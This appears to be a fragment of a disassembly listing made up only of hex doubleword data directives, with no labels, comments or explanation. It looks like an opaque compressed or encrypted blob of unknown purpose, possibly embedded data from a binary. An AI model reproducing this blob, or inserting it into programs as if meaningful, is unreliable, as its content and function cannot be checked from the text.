		dd 0FB97D428h, 7C2A400h, 5E1411FCh, 50320042h, 94278CD6h
		dd 0BC0097CFh, 92B62B15h, 7621CDB4h, 5C0F0B05h,	0E8000256h
		dd 49B16CD0h, 3AFE7A90h, 0FB5AAD01h, 813D9AA8h,	0AF1BCCh
		dd 442F09E0h, 8BB19B99h, 8E2B6C00h, 0A37EE820h,	4CD10F84h
		dd 26E3FF74h, 2CE270F6h, 0F7D8FC40h, 7F347307h,	1E5DAFh
		dd 0FDB73A1Eh, 8A5E0078h, 7B547758h, 0C6016287h, 9EEAFACEh
		dd 36E047A7h, 3C8F00D6h, 0AD762EA1h, 0C0505284h, 6574BFDFh
		dd 72A57800h, 6A1C40Ch,	0F64F00B1h, 0EB5903F4h,	330094E2h
		dd 0B01E7D5Ch, 7BE039h,	0DFF03271h, 0C082E5C5h,	8A5F8800h
		dd 7444AB7Dh, 6F4900EFh, 11D7BB68h, 10005C59h, 36DE9352h
		dd 0B8E413BDh, 7DD80136h, 0C1450D03h, 21C3019h,	0DFD0F8A1h
		dd 251DAEA0h, 469C6400h, 3D4532A3h, 7EE63BDDh, 62184C0Fh
		dd 0B46149E0h, 0C500999Bh, 0FB15D7D6h, 0CA797h,	0D87B7073h
		dd 5882375Dh, 0E6192A60h, 0F03E67h, 0F8786987h,	0F6B68D53h
		dd 0AAE9CF04h, 33C01BB8h, 0EDC0FDBh, 0B523257Bh, 61123527h
		dd 0C4620ED4h, 72760BF7h, 0EB218100h, 0B3ED204Dh, 83C71CBAh
		dd 78BE407Bh, 0DD0BA55Bh, 9EC6BD09h, 14E40025h,	0DB1AD9h
		dd 7932D2CCh, 9AB4585h,	6470E100h, 2AFE1D21h, 0A87300EBh
		dd 4AD891BFh, 0DB07F43Ch, 446D3888h, 400D6172h,	0F2A90434h
		dd 2D8F0EDEh, 0A7008EDDh, 7A7B5BD7h, 0E4EE3D0Fh, 2B9DA0E6h
		dd 98075608h, 9AC8006Eh, 0F9B5D418h, 8D005A47h,	0A6B377CDh
		dd 4867DB0Dh, 2B0034E9h, 0E43F89A4h, 0DA1F3E3Ah, 0D1C01C57h
		dd 105BC21Ah, 60E258F5h, 0D3FA2500h, 322C29A0h,	0EF694F00h
		dd 3ACB6661h, 3C470455h, 0C037A5DCh, 0C9069C64h, 0BED9820Fh
		dd 0F410A30Fh, 0F9C80F28h, 26BE7B80h, 0DB12C8h,	5703DA2Dh
		dd 7400049Fh, 2DCDF035h, 0B85F1465h, 0B13700ADh, 0A855AA3Fh
		dd 8AECD804h, 733DC4E0h, 57DD00E1h, 8DF117ABh, 5EA20701h
		dd 0F04AAE1Bh, 0FE5E169h, 0DBB5ED00h, 0BDC1EE84h, 0D22B39ABh
		dd 4456BF80h, 0B0BAE5F0h, 27FF870Eh, 0F93B80ADh, 2774805h
		dd 0FA043F81h, 0FC6025DAh, 4E03A85Ah, 1D88C3FEh, 0D480B739h
		dd 0EE7AE34h, 0CE272254h, 3FBBC700h, 753FE370h,	0ACB986Ch
		dd 48A4F8h, 0CD2F7F0Dh,	0C6A12E7Eh, 91FC770Ah, 0EA9FE819h
		dd 0E7FD3840h, 0FA15A7F6h, 22370768h, 0B01A55F4h, 196D2D79h
		dd 0D04FD202h, 804E883Bh, 0CD048BE0h, 64232416h, 5E36005Fh
		dd 15AF95D3h, 48747275h, 2F9BB600h, 0ED1EBDBh, 0F41A0491h
		dd 0C0E9C8D7h, 0A794518h, 1DA8B603h, 88597C78h,	0C69285Eh
		dd 910C9E6Bh, 9A00FC68h, 3568EADCh, 0B8F66316h,	0AFD200A0h
		dd 748CB176h, 2098BA50h, 4AE3D5A0h, 0FFA84D00h,	0A984E553h
		dd 0C33B048Fh, 0C0E4651Ch, 0B9D1C2CCh, 0AB38200h, 0EEC720AEh
		dd 39B8F245h, 0C5804483h, 6E2D6810h, 26041427h,	0E7DF911h
		dd 388758B0h, 807F529h,	0D0AD12BDh, 41533CBAh, 0AA614400h
		dd 5558C01Fh, 6821000Fh, 0B69A3825h, 2400F052h,	0FF19E0C8h
		dd 3D82C694h, 490E6328h, 0CD405398h, 0B1ED2E4Ah, 5CA2DF00h
		dd 72B06641h, 84825862h, 9826DB00h, 30EB90Ah, 0E610BD00h
		dd 208CE432h, 2C2A00E5h, 7B77A8FCh, 2200F9AEh, 0BF6DB0FAh
		dd 14FBE19h, 0B8DF2843h, 0D86E5048h, 0EB7CE593h, 818F893Ch
		dd 660E3B11h, 19BCAEC0h, 882D9Ch, 1ECD0BEh, 0A90E1A7Dh
		dd 0E0FF685Eh, 8725AB09h, 0A08200C7h, 7ED905A3h, 640034A9h
		dd 78AC995Bh, 5C5DE5B5h, 6300616Ah, 9D5FDFF9h, 3D00F6CAh
		dd 7327CEA9h, 0A0448F8Eh, 3804A69Ch, 67AECC3Ch,	7B968018h
		dd 0CD72301Ah, 4AC17D00h, 0BA8B177Ch, 60500003h, 147F732Fh
		dd 0A316E879h, 1C413DC7h, 2BCC28ABh, 9C008361h,	4A1C93EFh
		dd 18782061h, 0AA1E6BA2h, 0B9807068h, 4CB5BFD8h, 4DEE2C38h
		dd 41110520h, 88B4C5B1h, 6A11BAE0h, 17670F8h, 3D929BA4h
		dd 285ADAC5h, 0BDD400B4h, 0C276167Bh, 59F0B4h, 0C312C6C0h
		dd 0A7A20382h, 2486201Ch, 7CC7F89h, 0AE442BD6h,	406B648Ch
		dd 300C504h, 0B245D42Fh, 72FF2EF0h, 67660FDFh, 7FE019BCh
		dd 18E5A5EAh, 570386E4h
		dd 3089F57Eh, 0A651EF5Bh, 0B0C54AB4h, 0E2C34C70h, 0A8E0045h
		dd 0D68AB227h, 0DA72935Dh, 1D08D500h, 0B886DC10h, 2EB834h
		dd 6D76533Ah, 46A5F00Dh, 0B241EB00h, 1DE7BF82h,	289890B7h
		dd 3846378h, 0DA97409Bh, 0BBF82C85h, 7476A7F5h,	4790AC07h
		dd 9F20D71Ah, 0A2FB20h,	2AF0DBE1h, 54940B2h, 4356470Eh
		dd 180733D6h, 7C6098E3h, 4CA4EED9h, 9700CBA3h, 0F569C15Ah
		dd 44C1EE1h, 48073FD4h,	0DA990051h, 749A0BBFh, 78A500C1h
		dd 8CA1213Ah, 0F490900Fh, 0BF43A405h, 0DCC08B04h, 3D1A506h
		dd 27382FF9h, 2BC8F53Eh, 41EA7DDh, 0CA8E728Eh, 30B1817Dh
		dd 4ED8D22Eh, 0B27C0023h, 0D38EBA6Fh, 490FCACh,	2194900h
		dd 59EED541h, 69F04E1h,	8785EDEAh, 26764114h, 0F53BF050h
		dd 3228E300h, 7A9C89AFh, 74220964h, 78003F57h, 0E4B49A7Eh
		dd 241F0BFCh, 97801934h, 799C86B2h, 0D5FA0014h,	0DA0230F2h
		dd 1707C71Bh, 6BB8CC4Dh, 41225FA0h, 16D50314h, 0E4B0C377h
		dd 0C70289h, 8D241B37h,	0DDA18585h, 0D803A856h,	90C6D77Bh
		dd 24CD47Ch, 51593425h,	1AFC4E49h, 206A040Bh, 4D691AA0h
		dd 4FE101D6h, 1F5B9C3Fh, 38E8FDCDh, 7DB604ECh, 0D4A053A1h
		dd 352F588Dh, 0F65C2B0Fh, 993924E2h, 7BABE460h,	0AC3A49h
		dd 7F32C8C1h, 94A810AFh, 86DD1CE8h, 0D0BF836Bh,	3F338600h
		dd 0A7887B3h, 107A95h, 0EC799BCBh, 17FD664Fh, 7005398h
		dd 0A0DF6413h, 4C1438BCh, 8000445Dh, 6505CAE6h,	0BB00E9AAh
		dd 0A557E73Ch, 1A7208Dh, 5255CEA8h, 83F53384h, 603FCA90h
		dd 0CFB4B878h, 0D9C50289h, 1B5356C1h, 9F39E868h, 7565B31Dh
		dd 0E6C50340h, 38F3B7h,	8CE6C67h, 8242F151h, 1086601Dh
		dd 0C8BD83CCh, 0F887003Bh, 0D8092CD0h, 83E5257h, 0E49B8146h
		dd 99E71C4Ch, 87A0AFE3h, 5196990h, 1DF07694h, 0ADB4C111h
		dd 0FCD6712Dh, 0DCB8CC81h, 59290A00h, 4B0CE9C2h, 23630056h
		dd 0C0AF1540h, 78003394h, 0A5432DD2h, 7C1AC0Ch,	65E426CCh
		dd 40F8036h, 6A051224h,	60F5AFCAh, 68E3C800h, 3AC37EE1h
		dd 0E409E2DFh, 84C44436h, 0A100AD7Bh, 4E35ABA7h, 717FF4h
		dd 0EF19929Ah, 8C4FEAB7h, 3E2BFF00h, 9B76527Ch,	7D4D001Ch
		dd 9D97E323h, 321298ACh, 0CE00B670h, 0B003DB6Bh, 2065480Fh
		dd 94A4235Ah, 63DA5D0h,	0A8F5A200h, 367F6FF8h, 0F3260161h
		dd 55435AE3h, 88E4603Ah, 8E4DAD00h, 0DB1E6A01h,	0AB97021Dh
		dd 0C1893FAFh, 0FBA30560h, 4F33EE00h, 0C2B156D1h, 5D1B00B6h
		dd 8BC06F05h, 3114C3C6h, 14A61AAAh, 1DD86BE8h, 858748D9h
		dd 0CFC08EA8h, 0A626A4h, 62F5AB27h, 0E4FD8A81h,	0F3F9E8F3h
		dd 112E54B8h, 170E22E2h, 7E6BC09Bh, 0A5C1DADh, 0BFDD8684h
		dd 0DCDF0090h, 4A47A9A0h, 2220C307h, 0F0A071F6h, 7ACA1BEh
		dd 0B7E03933h, 0AF3030D1h, 0CC074C40h, 3BEA472Ch, 0D7F01733h
		dd 596A6E80h, 1DD80099h, 8F289ADAh, 1200A983h, 0AE2BACDh
		dd 1CB39B51h, 8CA03A64h, 6CA6E73Bh, 0DD5E6B0Ah,	3C00F883h
		dd 2B889E04h, 0D6CC0068h, 5E5BDC9Ch, 0BD037429h, 3A1DFBB6h
		dd 0DB42003Eh, 524E9E77h, 1F0093E8h, 0B50FC458h, 38F44686h
		dd 0F08C96A5h, 0E1E8ADDBh, 90CDF202h, 0C852609Fh, 0BDBE90h
		dd 0D7941308h, 729D01EEh, 20C91600h, 8528E63Ch,	53310036h
		dd 0C506556Fh, 0A000CEAAh, 5748A3BAh, 2198DEh, 7A4BA87Fh
		dd 78AA3791h, 0B63C3B00h, 99431405h, 0F7040131h, 5913855Dh
		dd 561BE4A5h, 0CABD3Dh,	0B9C87D70h, 7452DA0Dh, 2A5F2DDCh
		dd 0EDC60003h, 0D23FAED8h, 0E7461600h, 98347405h, 0C4613C18h
		dd 26D305FDh, 0B32DEDh,	0A57732EBh, 0EB00F048h,	0D38BE330h
		dd 17B29Eh, 86E81A85h, 1DDE2425h, 197B0B02h, 0F006BFFEh
		dd 95D403A4h, 4B582B5Dh, 66F58808h, 621385h, 5EE573DCh
		dd 0BE00152Bh, 4DF5B653h, 9F5640h, 6F9CC8FAh, 0B8422F35h
		dd 0BA78FD0Ah, 7F00AF8Ch, 6B46A96h, 71740EB0h, 0F1639333h
		dd 22AE66D1h, 0F2372000h, 0B0FFEAECh, 0CFEE12A8h, 242705ADh
		dd 124180C0h, 6F008DF0h, 64D48F78h, 0C5F9535h, 111F04DBh
		dd 120036F0h, 19E2CA0Bh, 268A1E9Bh, 1ECCB158h, 490E0199h
		dd 706C7D2Dh, 7098DFE4h, 2B09C000h, 1564A993h, 0F6420092h
		dd 0E3686550h, 960027D4h, 0DD11FBF7h, 1BD7977h,	4B456B83h
		dd 7043BA88h, 2C07DE40h, 49AAF8EFh, 0EA715AC0h,	30330034h
		dd 2AABA3F6h, 9E07CC0Ch, 0B44A35C5h, 98B7ADF0h,	39960720h
		dd 80742A0Fh, 0C057D76Ah, 3B0CFD1Eh, 5F79E387h,	0CAFF0260h
		dd 0C1B115F2h, 3007C471h, 0D31868h, 2F6446BCh, 0AA7CE600h
		dd 435258FDh, 57A1008Fh, 2DF2AC93h, 3700922Ch, 0ABFE5BB0h
		dd 76F34733h, 68A10280h, 75E981B1h, 8C875C42h, 8F495095h
		dd 7400E3E4h, 0E967C085h, 0EAF693B4h, 8651D8Eh,	759482FFh
		dd 0D4C8F758h, 0C224AD55h, 0AC81A462h, 0C1A525C3h, 0E4787031h
		dd 0E6546607h, 330F3015h, 6901BA75h, 2A409635h,	3C2056A4h
		dd 0EEA370A9h, 6B8A8828h, 5CD18440h, 0C03B185Ch, 0CE983Bh
		dd 72403DBCh, 7300A6CDh, 79EC2056h, 0EBA12791h,	3F670ECh
		dd 0F4FCC2AFh, 87F43858h, 62D48110h, 0E899E49Bh, 0C3D3C700h
		dd 2786E0Eh, 89F039h, 8F5F9F43h, 0B11548A6h, 2A63F200h
		dd 0F42DC341h, 32090B2Fh, 9B876F4Eh, 17F05080h,	2700424Ah
		dd 157DB29Fh, 0C32850h,	8749FA65h, 0D246230Ah, 998E2118h
		dd 0FE7DE8h, 60C16A3Dh,	0B1EB5536h, 0EC861300h,	6DA02C63h
		dd 0F620070h, 31E7A9ABh, 2E6E1B6h, 0FFDFBF01h, 0D02EE99Fh
		dd 3589B06Eh, 570F6CE8h, 0E0AA4753h, 0CA791799h, 2A260EE0h
		dd 0E321211Ah, 2BE6B68Fh, 603CBC0Eh, 0A5E716E5h, 198500D5h
		dd 0F3F44F7Fh, 249036F1h, 0D6A46301h, 5F2D1022h, 0C0A1BE70h
		dd 0B28CADD6h, 52EB0C4h, 0EE01FE46h, 56D51248h,	0E6533060h
		dd 7E191FD4h, 0B87894EDh, 0D6DDE001h, 0E43BB77Ch, 9D1C5249h
		dd 7781FC41h, 0E3932AF2h, 1B28C4h, 0CE1EEE50h, 0DDA6A94Fh
		dd 0E5DE4A17h, 4C0BB800h, 0AFFF2h, 108714Eh, 0B23DA1D9h
		dd 95A59B00h, 5C7B19B6h, 2BB002Bh, 43FC15E4h, 2F1F463Ah
		dd 9CEC8172h, 0FB5400BAh, 63FF48C3h, 25DA00F9h,	520166A6h
		dd 802949Bh, 0C08E3C8Bh, 83C0C084h, 0E5B60181h,	2A04FCAEh
		dd 2D6450CFh, 2200360Dh, 55FB9751h, 0F9D57Fh, 58BA11EBh
		dd 0AF066328h, 5EF06200h, 9EB1A9E7h, 1F0C0020h,	4D965094h
		dd 430537DEh, 61F5E503h, 6407897h, 6A3117h, 5E988C8Ah
		dd 0E08E3738h, 0FD115660h, 53679B90h, 18400439h, 919A07FBh
		dd 8F8DFE79h, 0DDBEEF83h, 20501F9Ah, 0E762840Fh, 4FFC8066h
		dd 1165FC5h, 70C065C6h,	40B6D9ACh, 0C3784E9Eh, 0A6758474h
		dd 7C80165Dh, 0F48EE406h, 73035BAh, 64BFD58Dh, 446D2001h
		dd 77F0BDA7h, 0F8466E0h, 0C580F488h, 70407986h,	6D307B77h
		dd 30EDF160h, 0AA50001Fh, 0C036D344h, 0AEB8C56Eh, 9720F660h
		dd 1F7C1F33h, 873EA403h, 0C0D286F5h, 0E4908782h, 0B5BB1707h
		dd 3FD0B984h, 737BA0BFh, 3E79009Ch, 0F6216439h,	441E5BE3h
		dd 6CC04F0Eh, 1C5E4BCAh, 9AB1862h, 8B3F6968h, 25A93503h
		dd 0A0E8CDE9h, 6E0C4BEh, 0D1D90A46h, 8401B1EDh,	9FA48B5Fh
		dd 10BE3CE4h, 0F6360E07h, 71D38082h, 49001756h,	834BEE32h
		dd 0C6E4CEBh, 7B692AE6h, 96011930h, 0FD39C1Bh, 81BEE9D0h
		dd 7C4042Eh, 0C920FC73h
		dd 0DCD80820h, 0C5006BC9h, 0D3A37FA6h, 0E24D9E69h, 0D5A2011Dh
		dd 0BF2DAF36h, 83B8506Ah, 927D5605h, 8076783Eh,	24D67239h
		dd 7B85AD0h, 0E8D7A6C3h, 3E8DC198h, 0AC788044h,	0AD7AFA2Fh
		dd 2E67C6Dh, 0D7473AB1h, 2C80C42Ch, 624A879Bh, 0ACD56903h
		dd 0BA67273Eh, 0D780A045h, 0C0E306D1h, 0B84792C9h, 0C30C7A6Eh
		dd 106F6070h, 1C5F045h,	0D74308E0h, 0EF756761h,	81FC97C0h
		dd 1BAFA400h, 326696B4h, 89221DC4h, 0F9007A31h,	245A268Ch
		dd 0E63DA2BFh, 9BBB345h, 8621000Ah, 28C32452h, 0D0B54B4Dh
		dd 0A0180171h, 9165BFA2h, 1BE6FC31h, 64EB2C18h,	862E3461h
		dd 1431595Ch, 0A0303EA2h, 245171h, 0C06E2FD6h, 35C425B9h
		dd 67A46804h, 41C9D86h,	61CDAB3h, 8D385A22h, 54C16034h
		dd 9B1D186Bh, 1BC068DDh, 679FB0EEh, 2880FF32h, 0B3E62246h
		dd 70C4F7BAh, 580D9BBh,	18F82594h, 18F06082h, 5A376799h
		dd 0A2C13892h, 804885EAh, 62B0AC87h, 56A27858h,	10094C91h
		dd 24507Ch, 9FE26DA5h, 0CFEDF0E7h, 16480703h, 0A8A0EB9Ch
		dd 0A88DF9h, 38325873h,	4731B7A9h, 6396803h, 3E98C25Eh
		dd 89001A70h, 0A9543C75h, 760765E6h, 0C18FADABh, 0CD73ACD0h
		dd 273A0587h, 2A3FE56Ah, 3E00BA04h, 392C4716h, 8939B2BCh
		dd 0BE489C9Ah, 0F37CD981h, 1E20F25Ah, 47AE3C39h, 0FB901Eh
		dd 50069110h, 937C842Ch, 0DF376600h, 909A31ABh,	2365037Eh
		dd 944D4A8Fh, 382C5200h, 8D2E1EB1h, 7048009Eh, 4D479B20h
		dd 3E0F3F39h, 0B58A6Fh,	52A58F54h, 918101F3h, 0CAD06A3Bh
		dd 70BCE485h, 0B7B89464h, 3A9CA1C1h, 19A1BD0h, 4332391Dh
		dd 0FC842448h, 0D82D42F2h, 32AC5E13h, 85112729h, 20FE24EAh
		dd 0FEED7877h, 3C3342C4h, 84FA4470h, 513ED431h,	2D119D7Fh
		dd 8C46130Ch, 977FD043h, 284B2828h, 30D16610h, 31144228h
		dd 0D751FEECh, 0F2E51190h, 400E2988h, 223822BBh, 312291E3h
		dd 114A42DAh, 0EF283AA0h, 0E4192228h, 5C191642h, 42FBA181h
		dd 3C847C14h, 864F2252h, 790764h, 0C91AF415h, 9A907D77h
		dd 9610ED00h, 62181A8h,	0B10B00F9h, 4CDA0ADDh, 8507059Ch
		dd 0F895612Eh, 3317A000h, 38AA008Fh, 6A0CBC9Dh,	7E020EF6h
		dd 0A98CF51Bh, 76A060D2h, 667E84h, 83492D28h, 776DB69Bh
		dd 0B3F27900h, 0E5394E3Eh, 5A100AAh, 4FA2DF6Bh,	1400BDC0h
		dd 8F9CCA5Bh, 1DF1DDh, 367D0B7Ch, 0E45D4CB0h, 0C1007890h
		dd 2B4155A3h, 7EAB64h, 1A8998DAh, 0B6DE84AEh, 0F8AC407h
		dd 9B404C2Eh, 596A3DFh,	7E953A07h, 0DAEE8114h, 0FDC8FB85h
		dd 0E00B22Fh, 3778F98h,	0DEC234h, 0FAB03745h, 274013A9h
		dd 14FDCF00h, 663D88FCh, 32C70F5Dh, 5C60C061h, 0A21744B6h
		dd 0E15AD303h, 60E2A9h,	6463C778h, 0CF12A091h, 6C00B9F0h
		dd 2926E914h, 72B43447h, 2148005Dh, 5AFBC1FDh, 9C00701Bh
		dd 9F224F11h, 1876102Fh, 50E5384Dh, 2A073CD7h, 88D0C799h
		dd 25826370h, 0FDF009Dh, 92898344h, 0C503E745h,	0A69707CBh
		dd 2F21C0D0h, 9BFAB0h, 0D35B609Ah, 1A677CD5h, 0C04AD800h
		dd 6AE68EF4h, 4821D02h,	7B20008Bh, 92710F1Ch, 19163801h
		dd 136CFA91h, 0E5260C4h, 0BBF2F405h, 63619E60h,	0A905C06Ah
		dd 6282E75Bh, 3567D000h, 0AB8719h, 368AEFF1h, 446BB694h
		dd 0F169E028h, 0C857CA00h, 7CA8CB84h, 0F9FED7h,	1F37FB92h
		dd 0A529F580h, 0BBAFED01h, 0E831DA6h, 0B8D6C4h,	84283D51h
		dd 49F6A859h, 90B2F00h,	0ED6486B4h, 0C484850h, 398B1282h
		dd 0C880F886h, 0DC18C500h, 0B8D808ADh, 7B6F0A6h, 8F97F2C9h
		dd 8E54D0E3h, 0B20039FCh, 30C2B8D7h, 1A5CB5Ah, 3F4EF9A9h
		dd 24812B2Ch, 0AC00BA0Ch, 5CEF7F0h, 0B506BFh, 9793DFC2h
		dd 1E5A62BBh, 85E27098h, 42844309h, 7A5020DEh, 0A12ED5h
		dd 0C2F154CEh, 0E2082A5Ch, 87105100h, 24F5BD3Eh, 0C0FF00FEh
		dd 6F13A5E0h, 45307B81h, 0CAA34023h, 0ECC326AEh, 0ACE600DEh
		dd 0B084B967h, 3377C01Dh, 297D7201h, 34ECF494h,	64730EADh
		dd 7E400487h, 9C28BF69h, 3A21B100h, 3DFC88EBh, 97EED6h
		dd 0F73AAB2h, 0AB3410D5h, 2935DC16h, 28E72C00h,	239111h
		dd 65F73B51h, 9615316Ch, 85E1B800h, 0CFD087A8h,	4C4300E3h
		dd 67F32CAAh, 4A00189Ah, 914923B2h, 26659334h, 4620162h
		dd 0C094D612h, 0FDE39D91h, 727A9200h, 74318C22h, 0A735006Ch
		dd 68762F12h, 0E2E2218Dh, 28884Dh, 20DD7457h, 0E8E916Ch
		dd 0D1A72283h, 104AD500h, 6F004728h, 96B15573h,	1EB08E71h
		dd 4080667Eh, 44A57DCCh, 25007011h, 4624FF5h, 0AEDC08Dh
		dd 53C51345h, 0C89580DCh, 6F255E61h, 7FDAB50Ch,	39FA482Fh
		dd 7AEB3Dh, 9809E241h, 0AB81669Eh, 70003B90h, 9247532Fh
		dd 0C9FCA8h, 0F0FB9791h, 3A78EDE8h, 29758103h, 0F0955822h
		dd 0E95625h, 0B8F6A9A1h, 8FE2F86h, 3FBC763Bh, 93F400D8h
		dd 0B4CBE718h, 110400C4h, 0CDA2B9C6h, 1700DB42h, 0CA63841Bh
		dd 32A6518h, 0E198F2DEh, 3BE067DFh, 71006C2Fh, 3C27C7E9h
		dd 7C149Ah, 8EE3F463h, 6FA8C0F8h, 0A4EA4Ch, 0BD1EF1E9h
		dd 0FE94935Bh, 78B700E1h, 0EA2A359Ch, 5C0FFFEDh, 0BDC5FEE3h
		dd 3B690A80h, 0F8DC9925h, 670B00A5h, 911CBE8Bh,	0CE0B68A3h
		dd 1740841h, 66788804h,	4672ECEh, 832CD013h, 49008D2Fh
		dd 0EBCB5DF9h, 2BEF8F5h, 0B2D0A347h, 640EFD3h, 7112A86Ch
		dd 941E585Fh, 26B98F00h, 7A30C01h, 5361FCCEh, 0F0001999h
		dd 529B71EEh, 0A4008E7Fh, 1E8B9EA3h, 0DF77A90Fh, 4924C0BCh
		dd 45E162FDh, 992DEB00h, 1B41B063h, 46FF1F77h, 0E04B02E6h
		dd 9A87C064h, 0B08F7130h, 0E2BFD448h, 3C83FB04h, 0BA80FA9Dh
		dd 0B8BCC282h, 5D6A0019h, 0ECEEEF2Ah, 0AA00D8BBh, 4186F9F3h
		dd 5D0CF1E4h, 1F00D019h, 64F03EDDh, 16001C9Ah, 88DEBBAEh
		dd 1067BCh, 82118C25h, 40640D2Fh, 6B1FB602h, 0C18384DBh
		dd 81C8973Ch, 0EE520EDCh, 809CFB56h, 0B8D5ABA6h, 3F4CB2F9h
		dd 3ACF3A34h, 1A5500C2h, 9FD6EA46h, 0BC80C08Bh,	0DC92C736h
		dd 0FB284A00h, 63ADD364h, 7EF000EFh, 8773FAF2h,	8200851Fh
		dd 0AB46D4F4h, 3C12E4h,	0B67A6936h, 0FFFBB48h, 0B59F1300h
		dd 0F1D3C398h, 254D028Eh, 0B05941B4h, 0A672BDE0h, 63604900h
		dd 2717B88h, 8C07017Eh,	8F53803Ah, 9D3DF413h, 0AF09C507h
		dd 8722CE4Ch, 5DA080F3h, 520FE0h, 0B62C7E2Bh, 9AB031BDh
		dd 0F8A12000h, 0F67C27ECh, 0F4BA0015h, 0DB54FD52h, 99009B4Eh
		dd 478FD7B1h, 4C0EB6h, 9FDFA332h, 0FCAEDBCDh, 69286516h
		dd 1803A000h, 11333Ch, 0CCD04D9Dh, 1E359E15h, 0E8DF0903h
		dd 0D8E458F0h, 0D9403Dh, 0A24F7C13h, 0AD383266h, 0A1DEA900h
		dd 47B28602h, 14F800B8h, 42CF6D6Ch, 0AD00CC3Ch,	82CD2BB0h
		dd 16E57Dh, 6B12A845h, 96ACA4FAh, 22200E00h, 2B1CC64Ah
		dd 0FF240018h, 0C1E557B4h, 0DF48EA9Dh, 590100C8h, 31D476FBh
		dd 0FE8677ACh, 0C75504D0h, 0C0648248h, 0CCB5BBC0h, 0FF2D960h
		dd 0C14CF4h, 532D75C3h,	647BF52Eh, 4DA3938h, 69EB1ADFh
		dd 7090C880h, 13F138Eh,	3494000Fh, 8D5F1E7Ah, 0DB19E816h
		dd 0F489301Dh, 0EBC400B5h, 0F0097A10h, 0C0703F3Bh, 0F1B32C04h
		dd 3768806Eh, 167EC9A5h, 9ADFE200h, 311383C6h, 0D9103894h
		dd 67A007Fh, 789BF457h,	2300870Eh, 0A76CDD08h, 2255035h
		dd 0DF3DB459h, 9C6176CEh
		dd 6840C69Eh, 3CB06C81h, 8017663Bh, 2D70BE47h, 0FBAEC52h
		dd 243710DFh, 0E5070372h, 69C0B045h, 21006F2Ah,	0B6B1C975h
		dd 376F27Ah, 89FFF7A9h,	0BEF8D5C8h, 5417B402h, 0E80096D6h
		dd 0B8670597h, 4BC3F9Bh, 86642680h, 0F9F075DCh,	8130A15Ch
		dd 0EE58BB55h, 69C6D8h,	15478BBEh, 8274CA30h, 0D8076894h
		dd 0A4E6339Ah, 5BA100C0h, 87438489h, 273CF74Ah,	5ED20A3Fh
		dd 400ACB4h, 1A939C0Dh,	6E870009h, 0BB015A69h, 0E2D6D9F2h
		dd 40060Bh, 46DBB3BCh, 0A5A30628h, 40A29049h, 8D395F00h
		dd 352773A0h, 0E2471C3Fh, 0B9A100A7h, 7E67367Bh, 430B1E06h
		dd 1C483032h, 0DEEDE6h,	0CE2CBAFDh, 570009ADh, 2742BF5Dh
		dd 7FBCC41h, 0A81ABC1h,	0A8437044h, 0E4032A40h,	1E3602A2h
		dd 0EF05E034h, 3BFCFC5Eh, 8781CA8Fh, 6BB1FA28h,	85533022h
		dd 0B000F998h, 5F238496h, 4DC0F1Fh, 5D9AC0C2h, 9EC081EBh
		dd 27C3FC06h, 0AA149500h, 0F77EAF43h, 38070092h, 0DAA63DCFh
		dd 0FA249C5Ah, 313A755h, 0B2460304h, 19EDE492h,	1B9F408Bh
		dd 2900C115h, 7908947h,	773E3463h, 1BAEAA9h, 8237E8B8h
		dd 60624B7Bh, 837E2A0Bh, 0A818E0B8h, 0BD50FAD8h, 6186129Ah
		dd 1A8C002Dh, 0EE3E11B6h, 0B000C54Eh, 13850B06h, 0B1831B2Dh
		dd 0AED0296Fh, 77008720h, 0DDBD9B10h, 5C8F60h, 26C1A2DEh
		dd 6B7AD27Bh, 0A5843Ch,	81793461h, 0EA86631Fh, 539E179Ch
		dd 0DE4C007Ch, 0C9591B5Fh, 1008B800h, 0D889A842h, 1887396Ch
		dd 0CDBBEA80h, 39687535h, 81ACC200h, 8974721Eh,	9C5B00D1h
		dd 0CF2D563Fh, 78B76AB1h, 0FC0E718Eh, 8A71004Ah, 0E1F5955Fh
		dd 0F00D9B6h, 0C0B732C9h, 18BB1997h, 0D051AE6Ch, 0FA0F6A90h
		dd 22E5201Ch, 406611B8h, 625F28h, 0A482E845h, 98FB9E14h
		dd 3268DC00h, 9C6C160Fh, 0D4A31C13h, 54484057h,	21DFAAE1h
		dd 0D1887D01h, 0B99A4D04h, 1E8A85E8h, 9620EFBFh, 368C413Fh
		dd 0F5AC3B88h, 0E8E02045h, 0C3487600h, 917B2C2Dh, 9F15484Fh
		dd 9600DE3Ah, 0CAFD9330h, 0E40016F6h, 9AF3F4Ah,	1328999h
		dd 3D541C65h, 0E4AB3A8Bh, 2F05E45Eh, 71E8BD48h,	27A7ECD0h
		dd 0AE112757h, 1D690C00h, 0BD004DB9h, 815075FCh, 79882E5h
		dd 0B2AA1FA5h, 7C3520CDh, 0DF1F0296h, 4980CE70h, 0F841A1FFh
		dd 3C0F7AEDh, 670053A7h, 71E7AB01h, 7560D7D4h, 4FF4B068h
		dd 473001AAh, 0D8C0F52Ah, 0B81480E5h, 7A9541A5h, 37580475h
		dd 0E05472B0h, 2C3F606Ch, 96698020h, 7683CB8Fh,	0D23700FBh
		dd 0CE385D7Dh, 0ACB036EEh, 0DE59C50Ah, 0FA0080BFh, 0B529540Dh
		dd 4A10C7C0h, 0C6B0C03Ah, 8300D1A9h, 0B73F5ECh,	1B3D346Dh
		dd 28C1416Fh, 742E6001h, 2F604C94h, 3DD00420h, 9728F84h
		dd 127B0E4Eh, 3EE44880h, 2001DFDDh, 0D7731C67h,	0A0E605D6h
		dd 3087D4E4h, 866C07F9h, 30FDD288h, 6F234A3Dh, 0A70059B8h
		dd 0E8B0F0E3h, 3AD95Ch,	3FC6C913h, 0FCDE9FE4h, 90546A26h
		dd 3B5D079Dh, 4807D916h, 0C3B0B166h, 0AB3911h, 0ED5B7F77h
		dd 23703A3Eh, 30F68258h, 0E297A099h, 4AA900BBh,	59AFA495h
		dd 0EC00E91Fh, 5E47AC1h, 33E792h, 0D5DF9E12h, 0EA361EFFh
		dd 14E12400h, 0B4BC422h, 5F5D3F0Ah, 81FCF024h, 92033755h
		dd 0B8F030A6h, 96A1A0C0h, 0F66EFDh, 0DD89AF9h, 1E90047Bh
		dd 59D0C404h, 3CC0786Bh, 0FC30ED18h, 0DD75002Ah, 72795254h
		dd 0F4A05FB7h, 6F77DA64h, 14B8A609h, 0EFD082EEh, 537E4004h
		dd 4AF80317h, 0CD13FC88h, 0A0790380h, 0DB56221Eh, 16D59D40h
		dd 437839h, 0BF80730Ah,	0ED6B4150h, 7FC88154h, 0F78630A0h
		dd 1F786C49h, 0E2D3DDD2h, 7E8800EFh, 90225C12h,	70F2BF30h
		dd 0CD23B0Fh, 3754A4B2h, 7D182748h, 0E218BFA2h,	14065DD6h
